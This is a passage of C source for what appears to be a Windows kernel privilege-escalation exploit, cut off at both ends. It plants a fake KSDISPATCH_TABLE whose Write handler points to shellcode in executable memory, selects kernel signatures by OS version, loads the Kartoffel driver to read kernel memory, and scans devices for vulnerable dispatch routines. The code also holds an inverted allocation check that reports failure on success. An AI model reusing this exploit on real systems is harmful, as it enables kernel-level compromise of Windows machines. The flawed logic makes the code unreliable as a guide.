&dwShellSize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if( (ULONG_PTR)addr )
{
printf("[*] Error while allocating memory\n");
return 0;
}
printf("OK\n");
printf("[+] Setting up the fake KSDISPATCH_TABLE ...");
stFakeTable.Write = (ULONG_PTR) ShellCode;
memcpy( (void*)((ULONG_PTR)addr + 0x20),
(void*)&stFakeTable,
sizeof(KSDISPATCH_TABLE) );
*(ULONG_PTR*)addr = sizeof(ULONG_PTR); // Fake FsContext
*(ULONG_PTR*)((ULONG_PTR)addr + sizeof(ULONG_PTR)) = 0x20;
printf("OK\n");
/// Checking Windows Version
CheckOS( &osVersion );
if( !osVersion )
{
signature = signature_2K_SP4;
signature_size = sizeof( signature_2K_SP4 ) - 1;
sig_offset = 4;
} else {
signature = signature_XPSP2_Vista_2K3;
signature_size = sizeof( signature_XPSP2_Vista_2K3 ) - 1;
sig_offset = 8;
}
hKdevice = OpenKDevice();
if (hKdevice == INVALID_HANDLE_VALUE)
{
InitializePaths(&kDirs);
sprintf(szKdriver,
"%s\\kartoffel.sys",
kDirs.KARTO_PATH);
printf("\n\n[+] Kartoffel.sys not detected.
Loading %s\n",szKdriver);
if( !LoadDriver( szKdriver,"KartoffelDrv") )
{
printf("[!] Unable to load kartoffel.sys\n");
exit(0);
}
hKdevice = OpenKDevice();
if( hKdevice == INVALID_HANDLE_VALUE )
return 0;
}
//// Searching vulnerable devices
dwNum = EnumDevices ( ( WCHAR** )&lpDevices );
printf("\n[+] Searching vulnerable devices...\n\n");
for( i = 0; i< dwNum; i++ )
{
printf("\r\t :: %d analyzed",i);
dwStatus = GetDriverObjectByName ( lpDevices[i], &drvObj );
if( dwStatus )
{
/// Compares IRP_MJ_**** with the signature
dwStatus = ReadKernelMemory( ( LPVOID ) lpWrite,
( LPVOID ) |